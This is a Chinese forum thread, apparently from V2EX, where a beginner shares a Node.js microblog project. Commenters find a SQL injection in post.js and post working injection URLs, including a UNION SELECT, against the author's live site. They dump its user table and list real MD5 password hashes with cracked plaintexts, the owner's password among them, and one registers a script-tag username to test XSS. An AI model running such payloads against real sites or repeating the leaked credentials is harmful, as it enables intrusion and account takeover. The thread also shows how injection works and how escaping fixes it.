初学 Nodejs,撸了个简单的微博系统,求轻喷
你的 node.js 怎么学习的呀??
http 服务器消息处理+数据库读写。。。
初学只能做到这样了。。。
学了多久了,我过阵子也打算学学 node.js
没什么好学的。。。
差不多一周,大学狗没什么时间,一周七天都有课,作业还超多
主要是在学 Android ,学 nodejs 主要是学习写 API
maek
赤果果的 sql 注入…
https://github.com/Zhiqing-Lee/microblog/blob/master/models/post.js 第 32 行,自己手工将当前的用户名拼入 Sql 语句中.
整个项目中,其他地方都是用的 ? 来带入的(这时候会自动处理, 不会有注入的情况, 只有这里自己手工带进去了).
然后我注册了一个名为 " or ""="
的用户, 然后…你懂的, 自己看结果
我注册的账号的列表页:
http://mb.zhiqing.info/u/%22%20or%20%22%22=%22
其他普通帐号的:
http://mb.zhiqing.info/u/qwe
哈哈哈,一看初学者,我就猜有人要注入
再来个炸弹:
http://mb.zhiqing.info/u/%22%20union%20ALL%20select%20name%20as%20user,password%20as%20post,%200%20as%20time%20from%20users%20where%20%22%22=%22
根据查出来的结果, 以及根据代码中密码的写入方式得知是 MD5 + base64 的结果,所以…
以下为目前列出来的账号的密码:
zhiqing f57b888bc53ccfa3e4a71f19604df23c 找到了,但是是一条付费才能看的.
qwe 76d80224611fc919a5d54f0ff9fba446 qwe
123 202cb962ac59075b964b07152d234b70 123
<h1>123</h1> 5e6535e26cf8c546395f4e3f4c5d189e 未找到
123qwe 46f94c8de14fb36680850768ff1b7f2a 123qwe
3123 e10adc3949ba59abbe56e057f20f883e 123456
<img src=x> eb6cd2e33d39e677b19b611fe2eb32ee 未找到
jerry 202cb962ac59075b964b07152d234b70 123
foo 37b51d194a7513e45b56f6524f2d51f2 bar
" or “”=" e10adc3949ba59abbe56e057f20f883e 123456
tet111 4297f44b13955235245b2497399d7a93 123123
这不是猜, 这是根据他的代码得出来的结论以及事实.
好样的 1!
zhiqing 的那个密码也查出来了 密码为: lizhiqing
你们太坏了 真的
学习了,终于意识到自己的代码是多么不安全了😂
你们这群人,太可怕了
大神,收我为徒吧!
帐号可以带空格, 带标签
注册了一个<script>alert(1);</script>
还是 php 好啊
PHP 做不了微博系统, 只能做留言板…
来来来我来围观,正好有个项目,下午去检测下
我操作数据库老是出问题,只好增加了用户名限制,能解决这个问题吗?
pool.escape()或者 connection.escape() 处理一遍参数
看到那个 sql 注入,才知道原来 sql 注入是这样操作的…又学到一手
PHP 为啥做不了微博系统………
只是个玩笑话, 别当真. 看楼主初学 nodejs 想起了当时自己初学 PHP 就是做留言板…
╭(╯^╰)╮还以为又要黑我 PHP
初学者能自己动手实现一个简单的微博系统,已经很不错了!下面是一些建议和可能的改进点,希望能帮助你进一步提升。
1. 使用Express框架
如果你还没有使用Express框架,建议引入它,因为它能大大简化HTTP服务器的搭建和路由管理。
const express = require('express');
const app = express();
const port = 3000;
app.get('/', (req, res) => {
res.send('Hello, Weibo!');
});
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});
2. 数据库选择
对于微博系统,MongoDB是一个不错的选择,因为它适合处理非结构化的数据(如微博内容、评论等)。
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost:27017/weibo', { useNewUrlParser: true, useUnifiedTopology: true });
const WeiboSchema = new mongoose.Schema({
content: String,
author: String,
likes: Number,
comments: [String]
});
const Weibo = mongoose.model('Weibo', WeiboSchema);
3. 安全性
确保你的应用能处理常见的安全问题,如SQL注入、XSS攻击等。在使用MongoDB时,也要注意验证和清理用户输入。
4. 异步处理
Node.js是异步的,确保你充分利用了这一点,比如使用async/await
来处理异步操作。
总的来说,你已经迈出了很好的一步。继续深入学习Node.js和相关的技术栈,你的项目会越做越好的!加油!